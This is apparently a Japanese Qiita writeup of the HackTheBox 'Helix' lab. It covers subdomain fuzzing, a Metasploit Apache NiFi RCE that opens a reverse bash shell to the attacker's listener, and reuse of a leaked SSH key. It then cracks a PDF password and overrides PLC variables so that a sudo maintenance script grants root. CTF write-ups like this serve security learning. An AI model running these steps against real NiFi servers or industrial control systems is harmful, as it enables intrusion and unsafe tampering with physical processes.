1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Helix:Writeup

1
Posted at

概要

HackTheBox「Helix」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.129.245.123 -oN nmap_result

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx/1.18.0

helix.htbにアクセスし、Webサイトを確認します。

image.png

サブドメインを列挙し、flow.helix.htbというドメインを発見しました。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.helix.htb" -u http://helix.htb -fs 154

flow                    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 911ms]

flow.helix.htbにアクセスします。
NiFiによるデータフロー設計画面にアクセスできました。

image.png

NiFiでRCE可能な、以下Metasploitモジュールを使用します。
exploit/multi/http/apache_nifi_processor_rce

msf exploit(multi/http/apache_nifi_processor_rce) > show options 

Module options (exploit/multi/http/apache_nifi_processor_rce):

   Name          Current Setting        Required  Description
   ----          ---------------        --------  -----------
   BEARER-TOKEN                         no        JWT authenticate with
   DELAY         5                      yes       The delay (s) before stopping and deleting the processo
                                                  r
   PASSWORD                             no        Password to authenticate with
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port]
                                                  [...]. Supported proxies: sapni, http, socks4, socks5,
                                                  socks5h
   RHOSTS        http://10.129.245.123  yes       The target host(s), see https://docs.metasploit.com/doc
                                                  s/using-metasploit/basics/using-metasploit.html
   RPORT         80                     yes       The target port (TCP)
   TARGETURI     /                      yes       The base path
   USERNAME                             no        Username to authenticate with
   VHOST         flow.helix.htb         no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.17.186     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)

モジュールを実行するとシェルを取得できました。

msf exploit(multi/http/apache_nifi_processor_rce) > exploit 
[*] Started reverse TCP handler on 10.10.17.186:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Apache NiFi instance does not support logins
[*] Command shell session 1 opened (10.10.17.186:4444 -> 10.129.245.123:38542) at 2026-08-30 14:58:33 -0400
[*] Waiting 5 seconds before stopping and deleting
[+] Processor Stop sent successfully
[+] Processor Delete sent successfully

whoami
nifi

ユーザアカウント名が判明しました。

ls -la /home
total 12
drwxr-xr-x  3 root     root     4096 May  5 10:18 .
drwxr-xr-x 19 root     root     4096 May  5 10:17 ..
drwxr-x---  5 operator operator 4096 May  5 10:18 operator

operatorが名前のファイルを検索すると、SSH秘密鍵のバックアップが見つかりました。

find ./ -name "*operator*" 2>/dev/null
./support-bundles/operator_id_ed25519.bak

秘密鍵でSSH接続に成功しました。

$ ssh -i id_rsa operator@helix.htb
operator@helix:~$ id
uid=1001(operator) gid=1001(operator) groups=1001(operator)

ユーザフラグを入手できました。

operator@helix:~$ cat user.txt 
83a88082cb3a6ae961b49abcee3fe71b

Root Flag

ホームディレクトリからcontrol systems diagram.pngをダウンロードします。
画像ファイルを開くと、システム構成が分かりました。
OT環境が稼働しており、127.0.0.1:4840/helixでサーバにアクセスできるようです。

image.png

Operator Control & Safety Guide.pdfもダウンロードします。
開こうとしますが、パスワードがかかっています。

image.png

PDF2Johnをしようし、パスワードを解析します。

$ pdf2john Operator\ Control\ \&\ Safety\ Guide.pdf > pdf_hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash
operator1        (Operator Control & Safety Guide.pdf)

開くとマニュアルでした。

image.png

開放ポートを確認します。
4840はOTでしようしているポートだと分かっているので、8081が怪しいです。

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports               
tcp   LISTEN 0      50              127.0.0.1:34759      0.0.0.0:*                                         
tcp   LISTEN 0      50              127.0.0.1:8080       0.0.0.0:*          
tcp   LISTEN 0      128             127.0.0.1:8081       0.0.0.0:*          
tcp   LISTEN 0      128               0.0.0.0:22         0.0.0.0:*          
tcp   LISTEN 0      511               0.0.0.0:80         0.0.0.0:*          
tcp   LISTEN 0      100             127.0.0.1:4840       0.0.0.0:*          
tcp   LISTEN 0      4096        127.0.0.53%lo:53         0.0.0.0:*          
tcp   LISTEN 0      50     [::ffff:127.0.0.1]:44345            *:*          
tcp   LISTEN 0      128                  [::]:22            [::]:*  

両ポートをローカルフォワードし、接続できるようにします。

$ ssh -i id_rsa operator@helix.htb -L 8081:127.0.0.1:8081 -L 4840:127.0.0.1:4840

8081からHMIにアクセスできました。

image.png

rootで実行できるコマンドを調べます。

operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

実行処理を確認します。
特権メンテナンスウィンドウがOPENの時に、Bashが起動するようです。

#!/bin/bash
set -euo pipefail

FLAG="/opt/helix/state/maintenance_window"

read_until() { cat "$FLAG" 2>/dev/null || true; }

window_ok() {
  [ -f "$FLAG" ] || return 1
  local until_ts now
  until_ts="$(read_until)"
  now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1
  return 0
}

if ! window_ok; then
  echo "Maintenance window CLOSED."
  exit 1
fi

until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))

echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"

# Unique scope name
SCOPE="helix-maint-$$"

# Launch an interactive root shell attached to THIS TTY, in its own systemd scope
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
  /bin/bash -p -i

# If systemd-run returns, the shell exited.
exit 0

通常時、特権メンテナンスウィンドウはクローズしています。

operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
Maintenance window CLOSED.

マニュアルから、メンテナンスモードがONになる時はPLC側が295℃以上の時だと分かりました。

image.png

メンテナンスモードの設定方法と、変数の書き込みが可能になることも分かりました。

image.png

GUIのクライアントで設定を変更します。

image.png

ModeMAINTENANCEに変更します。

image.png

TestOverrideTrueにします。
これでモードの設定自体は完了です。

image.png

CalibrationOffset15.0にします。

image.png

すると、295℃以上になったことをHMIから確認できます。

image.png

プログラムを実行すると、root権限を取得できました。

operator@helix:~$ sudo -u root /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 108 seconds
[!] Session will be terminated automatically
root@helix:/home/operator# id
uid=0(root) gid=0(root) groups=0(root)

ルートフラグを入手できました。

root@helix:~# cat root.txt 
feafcdad817cd5007b0bb71b575cd541
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?